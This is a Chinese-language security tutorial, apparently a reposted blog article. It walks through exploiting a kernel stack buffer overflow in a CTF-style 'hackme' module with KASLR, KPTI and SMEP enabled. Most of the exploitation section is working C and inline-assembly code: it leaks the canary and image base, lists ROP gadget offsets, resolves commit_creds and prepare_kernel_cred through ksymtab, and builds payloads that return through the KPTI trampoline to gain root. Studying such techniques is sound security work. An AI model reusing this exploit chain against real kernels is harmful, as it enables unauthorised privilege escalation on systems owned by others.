原创 | 内核缓冲区溢出3--开启kaslr

admin 2021年9月29日10:00:50评论59 views字数 5250阅读17分30秒阅读模式

原创 | 内核缓冲区溢出3--开启kaslr

点击上方蓝字 关注我吧

原创 | 内核缓冲区溢出3--开启kaslr

介绍

原创 | 内核缓冲区溢出3--开启kaslr
  • kaslr会随机化内核的符号地址。这些随机化是细粒度的,即不同符号可能基地址不同,泄漏基地址加偏移量的方式将不会对所有符号起作用。


  • 从text段开始到__x86_retpoline_r15范围内到镜像的基地址是固定的,commit_creds()prepare_kernel_cred()没有驻留在这个区域,但是可以在这里搜索rop。

/ # cat /proc/kallsyms |grep __x86_retpoline_r15ffffffff81400dc6 T __x86_retpoline_r15
  • 绕过kpti的rop swapgs_restore_regs_and_return_to_usermode()函数包含在text段开始到__x86_retpoline_r15范围内。


  • 内核符号表ksymtab在这个范围内,可以用来计算。commit_creds()prepare_kernel_cred()

/ # cat /proc/kallsyms |grep ksymtab|moreffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vectorffffffff81f85198 R __start___ksymtab
  • 符号表里ffffffff81000000 T _stext表示上述的text段开始到__x86_retpoline_r15范围内的基地址。
run.sh内容如下
qemu-system-x86_64     -s     -m 128M     -cpu kvm64,+smep      -kernel vmlinuz     -initrd initramfs.cpio.gz     -hdb flag.txt     -snapshot     -nographic     -monitor /dev/null     -no-reboot     -append "console=ttyS0 kaslr kpti=1 nosmap  quiet panic=1"
为了调试方便可以在调试的时候关闭kaslr(把脚本内的kaslr替换为nokaslr)。

利用需要的一些rop和结构

使用下面的rop可以任意地址读,并且设置rdi。只需要把想泄漏的地址减去0x10放入rax即可
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; retunsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;unsigned long pop_rdi_rbp_ret = image_base + 0x38a0UL; // pop rdi; pop rbp; ret;
接下来需要找到commit_creds函数和prepare_kernel_cred函数的地址,需要借助一个结构:ksymtab。这个结构记录了符号的真实偏移量
ksymtab结构如下
struct kernel_symbol {   int value_offset;   int name_offset;   int namespace_offset; };
  • value_offset表示符号的实际偏移量(这个偏移量能够找到真实地址)。
  • name_offset表示符号名字。
  • namespace_offset表示命名空间偏移
  • 注意这些地址是int(32位,而非64位)
前面知道了ffffffff81f85198 R __start___ksymtab是ksymtab结构的开始,接下来需要定位commit_creds函数在表中的具体位置。
可以通过kallsyms 获取内核符号表项的加载地址,命名为ksymtab_符号名。
/ # cat /proc/kallsyms |grep  ksymtab_commit_credsffffffff81f87d90 r __ksymtab_commit_creds/ # cat /proc/kallsyms |grep  ksymtab_prepare_kernel_credffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
实际符号地址的计算:__ksymtab_commit_creds+*__ksymtab_commit_creds
原创 | 内核缓冲区溢出3--开启kaslr

漏洞利用

原创 | 内核缓冲区溢出3--开启kaslr
需要查找0xffffffff81000000到0xffffffff81400dc6范围内的地址。
/ # cat /proc/kallsyms |grep __x86_retpoline_r15ffffffff81400dc6 T __x86_retpoline_r15ffffffff81f86140 r __ksymtab___x86_retpoline_r15ffffffff81fb1ca9 r __kstrtab___x86_retpoline_r15/ # cat /proc/kallsyms |grep stex|moreffffffff81000000 T _stextffffffff81cdcfa0 r snstext
下端点到hackme_read函数,查看栈内容可以看到偏移38位置处为需要的地址(可以通过偏移为16的canary向后计算)。实际上ida里看到的代码和gdb里的地址有区别,函数开始处是可以断下来的。

原创 | 内核缓冲区溢出3--开启kaslr

泄漏

获取canary和镜像基地址rightarrowcommit_creds等地址rightarrow调用commit_creds等函数。
通过上面的偏移找到canary和镜像基地址,这个基地址可以搜索一些rop,以及使用kpti_trampoline。
unsigned  n =40;    unsigned long leak[n]; //  n*8,unsigned long in x64 is 8 bytes long    ssize_t r_bytes=read(global_fd,leak,sizeof(leak));    // int a[1];    // read(1,a,1);    cookie=leak[16];//0x80/8=0x10=16    base_image=leak[38]-0xa157;
pop_rax_ret=base_image+0x4d11UL; kpti_trampoline = base_image + 0x200f10UL + 22UL; read_mem_pop1_ret = base_image + 0x4aaeUL; pop_rdi_rbp_ret = base_image + 0x38a0UL; ksymtab_prepare_kernel_cred = base_image + 0xf8d4fcUL; ksymtab_commit_creds = base_image + 0xf87d90UL;
printf("[*] leaked %zd bytesn",r_bytes); printf("[*] leaked canary: %lxn",cookie); printf("[*] leaked image base: %lxn",base_image); leak_commit_creds();
接下来通过获取到的符号地址获取真实地址。真实地址的计算为ksymtab_commit_creds+*(int)ksymtab_commit_creds,下面代码主要是获得*ksymtab_commit_creds。同样的方式可以获得prepare_kernel_cred的地址。需要注意的是
  • write函数下面的代码是不会执行的:write进入内核模块触发漏洞,构造的rop链从内核模块返回到用户态中指定的地址。get_commit_creds函数不会返回,所以接下来的代码是不能返回的。


  • kpti_trampoline过程中不会修改rax寄存器的值。

void get_commit_creds(void){
__asm__( ".intel_syntax noprefix;" "mov tmp_store, rax;" ".att_syntax;" ); commit_creds = ksymtab_commit_creds + (int)tmp_store; printf(" --> commit_creds: %lxn", commit_creds); leak_prepare_kernel_cred();}void leak_commit_creds(){ unsigned n=50; unsigned long payload[n]; unsigned off=16; payload[off++]=cookie; payload[off++]=0x0; payload[off++]=0x0; payload[off++]=0x0; payload[off++]=pop_rax_ret; payload[off++]=ksymtab_commit_creds-0x10; payload[off++]=read_mem_pop1_ret; payload[off++]=0x0; payload[off++]=kpti_trampoline; payload[off++] = 0x0; // dummy rax payload[off++] = 0x0; // dummy rdi payload[off++] = (unsigned long)get_commit_creds; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts("[*] Prepared payload to leak commit_creds()"); ssize_t w = write(global_fd, payload, sizeof(payload)); puts("[!] Should never be reached");}
调用commit_creds(prepare_kernel_cred(0))需要分为两次,第一次调用的结果返回到用户态保存,第二次用保存的结果。
void after_prepare_kernel_cred(void){    __asm__(        ".intel_syntax noprefix;"        "mov tmp_store, rax;"        ".att_syntax;"    );    returned_creds_struct = tmp_store;    printf("    --> returned_creds_struct: %lxn", returned_creds_struct);    call_commit_creds();}void call_prepare_kernel_cred(){    printf("call_prepare_kernel_credn");    unsigned n = 50;    unsigned long payload[n];    unsigned off = 16;    payload[off++] = cookie;    payload[off++] = 0x0; // rbx    payload[off++] = 0x0; // r12    payload[off++] = 0x0; // rbp    payload[off++] = pop_rdi_rbp_ret; // return address    payload[off++] = 0; // rdi <- 0    payload[off++] = 0; // dummy rbp    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22    payload[off++] = 0x0; // dummy rax    payload[off++] = 0x0; // dummy rdi    payload[off++] = (unsigned long)after_prepare_kernel_cred;    payload[off++] = user_cs;    payload[off++] = user_rflags;    payload[off++] = user_sp;    payload[off++] = user_ss;
puts("[*] Prepared payload to call prepare_kernel_cred(0)");    ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");}

原创 | 内核缓冲区溢出3--开启kaslr

至此,完成绕过所有保护从普通用户变为root用户。

相关推荐




原创 | "白话"SQL注入漏洞(上)
原创 | web中间件安全-Tomcat漏洞复现
原创 | web服务框架安全-ThinkPHP漏洞复现
原创 | tkMybatis中常见的注入场景
原创 | 内核缓冲区溢出3--开启kaslr
你要的分享、在看与点赞都在这儿~

本文始发于微信公众号(SecIN技术平台):原创 | 内核缓冲区溢出3--开启kaslr

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月29日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 内核缓冲区溢出3--开启kaslrhttp://cn-sec.com/archives/560265.html

发表评论

匿名网友 填写信息